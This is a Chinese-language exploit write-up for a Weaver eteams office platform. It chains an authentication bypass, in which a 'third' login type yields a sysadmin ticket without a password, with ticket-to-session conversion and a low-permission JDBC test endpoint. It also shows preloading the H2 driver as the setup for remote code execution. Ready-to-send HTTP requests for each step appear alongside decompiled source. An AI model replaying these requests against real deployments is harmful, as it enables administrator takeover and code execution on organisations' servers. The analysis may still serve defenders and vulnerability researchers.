分析
首先是接口/papi/passport/rest/appThirdLogin
1 2 3 4 5 6 7 8 9 10 11
| @RequestMapping( value = {"/appThirdLogin"}, method = {RequestMethod.POST}, params = {"username", "service", "ip"}, produces = {"application/json; charset=UTF-8"} ) public Map<String, String> appThirdLogin(HttpServletRequest request, HttpServletResponse response, final String username, String service, final String ip) { String loginType = request.getParameter("loginType"); String tgtId = SecurityCasUtils.getCookie(request, "ETEAMS_TGC"); return this.restLoginService.appThirdLogin(loginType, tgtId, response, username, service, ip, "zh_CN"); }
|
通过接口生成ticket的过程中,当没有ticket时,当传入username后,在函数逻辑中,首先为credential设置了noPassword属性

接下来在创建ticket前会先处理认证
1 2 3 4 5 6 7 8 9 10 11 12 13 14
|
public Authentication authenticate(WeaverUsernamePasswordCredential credential, CasLoginEnum casLoginEnum) throws PassportNoTenantException { AuthenticationBuilder builder = this.authenticateInternal(credential, casLoginEnum); return builder.build(); } public String createTicketGrantingTicket(WeaverUsernamePasswordCredential credential, CasLoginEnum casLoginEnum) throws PassportNoTenantException { this.basicLicenseControl.checkLicense(); Authentication authentication = this.authenticate(credential, casLoginEnum); TicketGrantingTicket ticketGrantingTicket = new TicketGrantingTicketImpl(this.ticketGrantingTicketUniqueTicketIdGenerator.getNewTicketId("TGT"), authentication, this.ticketGrantingTicketExpirationPolicy); String tgtId = ticketGrantingTicket.getId(); this.getTicketRegistry(casLoginEnum).addTicket(ticketGrantingTicket); return tgtId; }
|
可以看到,由于之前设置了noPassword属性,credential.getNoPassword() != null && credential.getNoPassword()一定为true,如果CasLoginEnum.notCheckPassword(casLoginEnum)也为true,则不需要密码即可完成认证

可以看到仅需其一即可,
1 2 3 4 5
| public static boolean notCheckPassword(CasLoginEnum loginEnum) { return loginEnum == PC_QRCODE || loginEnum == THIRD || loginEnum == PC_LDAP || loginEnum == PC_WECHAT || loginEnum == PC_WEIBO || loginEnum == PC_QQ || loginEnum == APP_WEIBO || loginEnum == APP_QQ || loginEnum == APP_WECHAT || loginEnum == APP_APPLE; }
|
因此第一步获取ticket的Payload并不难理解
1 2 3 4 5 6 7
| POST /papi/passport/rest/appThirdLogin?username=sysadmin&service=1&ip=1&loginType=third HTTP/1.1 Host: Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36 Content-Type: application/x-www-form-urlencoded
|
接下来在获取到了serviceTicketId后,通过generateEteamsId接口我们便能得到EteamsId,这里的流程其实比较复杂,简单从英文看看逻辑即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| @RequestMapping( value = {"/generateEteamsId"}, method = {RequestMethod.POST} ) @ResponseBody public WeaResult<String> generateEteamsId(@RequestParam String stTicket, @RequestParam(required = false) String service, HttpServletRequest request) { logger.info("############# generateEteamsId [stTicket]{}", stTicket, service); String eteamsId = this.passportEteamsIdService.generateEteamsIdBySt(stTicket, service, (String)null, request); logger.info("############# generateEteamsId [stTicket]{} [eteamsId]{}", stTicket, eteamsId); return WeaResult.success(eteamsId); }
public String generateEteamsIdBySt(String stTicket, String service, String ip, HttpServletRequest request) { try { if (StringUtils.isEmpty(service)) { service = this.hostUtil.getRealWebHost(); }
logger.info("############# generateEteamsIdBySt [st]{} [service]{}", stTicket, service); Assertion assertion = this.validateSt(stTicket, service); TeamsUserDetails teamsUserDetails = (TeamsUserDetails)this.userDetailsService.loadUserDetails(assertion); String tokenId = SecurityCasUtils.generateTokenId(stTicket, teamsUserDetails.findLoginType()); List<GrantedAuthority> authorities = (List)teamsUserDetails.getAuthorities(); CasAuthenticationToken cat = new CasAuthenticationToken("eteams432534gfdg", teamsUserDetails, stTicket, authorities, teamsUserDetails, assertion); SecurityContext context = SecurityContextHolder.getContext(); context.setAuthentication(cat); this.securityContextCache.put(tokenId, context); ClientInfo clientInfo = new ClientInfo(); if (request != null) { ClientInfo.obtainClient(request); this.setIpCache(IpUtil.getRemoteHost(request), teamsUserDetails.getUser().getEmployeeId()); }
if (!StringUtils.isEmpty(ip)) { this.setIpCache(ip, teamsUserDetails.getUser().getEmployeeId()); }
this.remoteBasicCommonService.postLoginSuccess(teamsUserDetails.getTenant(), teamsUserDetails.getUser().getEmployeeId(), clientInfo, new Date()); return tokenId; } catch (Exception var12) { Exception e = var12; logger.error("########## generateEteamsIdBySt error...[st]{} [service]{}", new Object[]{stTicket, service, e}); return null; } }
|
1 2 3 4 5 6 7 8
| POST /papi/passport/login/generateEteamsId?stTicket=xxxxx HTTP/1.1 Host: Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded
|
之后在有了ETEAMSID之后,我们即可完成后台rce,接口在/api/dw/connSetting/testConnByBasePassword,注意这里的publicPermission = true,说明是低权限,不需要admin用户,经过测试这里也和登录校验无关
1 2 3 4 5 6 7 8 9
| @RequestMapping({"/testConnByBasePassword"}) @WeaPermission( publicPermission = true ) public WareResult testConnByBasePassword(@RequestBody DataSetConn conn, Employee employee) { conn.setDbPassword(SqlValidateUtil.base64ToString(conn.getDbPassword())); return this.testConn(conn, employee); }
|
在之后jdbc链接时有个小细节,首先会根据传入的getDbType参数选择对应驱动,这里很多jdbc都可以尝试打一下种类挺齐全,但getDbDriverByType中唯独没有h2,在连接失败后,会尝试使用DriverManager.getConnection建立连接,但由于dbDriver固定写死了在getDbDriverByType中,因此我们需要找一个能任意控制初始化的Class.forName
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| public Connection getConnection(DataSetConn dataSetConn, Employee employee) { Connection conn = null; String dbDriver = this.getDbDriverByType(dataSetConn.getDbType());
try { dataSetConn.setDbUrl(this.getConnUrl(dataSetConn)); dataSetConn.setDbDriver(dbDriver); conn = DynamicDataSourcePoolFactory.getInstance().getConnection(dataSetConn); if (conn == null || !conn.isValid(10)) { Class.forName(dbDriver).newInstance(); conn = DriverManager.getConnection(this.getConnUrl(dataSetConn), dataSetConn.getDbUsername(), dataSetConn.getDbPassword()); }
return conn; } catch (ClassNotFoundException var6) { ClassNotFoundException e = var6; log.error("ClassNotFoundException", e); return null; } catch (SQLException var7) { SQLException e = var7; log.error("SQLException", e); throw new AppException(this.labelDataService.getLabel(56517L, employee.getId(), employee.getTenantKey())); } catch (InstantiationException var8) { InstantiationException e = var8; log.error("InstantiationException", e); throw new AppException(this.labelDataService.getLabel(56517L, employee.getId(), employee.getTenantKey())); } catch (IllegalAccessException var9) { IllegalAccessException e = var9; log.error("IllegalAccessException", e); throw new AppException(this.labelDataService.getLabel(56517L, employee.getId(), employee.getTenantKey())); } }
public String getDbDriverByType(String dbType) { switch (dbType.toLowerCase()) { case "mysql5": return "com.mysql.jdbc.Driver"; case "mysql": case "mysql8": return "com.mysql.cj.jdbc.Driver"; case "oracle": return "oracle.jdbc.driver.OracleDriver"; case "tidb": return "com.mysql.cj.jdbc.Driver"; case "sqlserver2000": return "net.sourceforge.jtds.jdbc.Driver"; case "sqlserver": case "sqlserver2005": case "sqlserver2008": case "sqlserver2014": return "com.microsoft.sqlserver.jdbc.SQLServerDriver"; case "kingbase": return "com.kingbase8.Driver"; case "dameng": return "dm.jdbc.driver.DmDriver"; case "shentong": return "com.oscar.Driver"; case "postgresql": return "org.postgresql.Driver"; case "db2": return "com.ibm.db2.jcc.DB2Driver"; case "sybase": return "com.sybase.jdbc2.jdbc.SybDriver"; case "informix": return "com.informix.jdbc.IfxDriver"; case "sap hana": return "com.sap.db.jdbc.Driver"; case "gbase": return "com.gbase.jdbc.Driver"; case "gaussdb": return "com.huawei.gauss.jdbc.ZenithDriver"; case "opengauss": return "com.huawei.gauss200.jdbc.Driver"; case "highgo db": return "com.highgo.jdbc.Driver"; default: return ""; } }
|
在/api/bs/iaauthclient/base/save中恰好就有,恰好是我们可控的

因此在做jdbc打h2前需要先访问,初始化h2的驱动(当然较老版本里没有h2驱动,因此也可以试试直接打db2之类的,只是可惜db2-jndi需要出网)
1 2 3 4 5 6 7 8
| POST /api/bs/iaauthclient/base/save HTTP/1.1 Host: Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36 Content-Type: application/json
{"isUse":1,"auth_type":"custom", "iaAuthclientCustomDTO":{"ruleClass":"org.h2.Driver"}}
|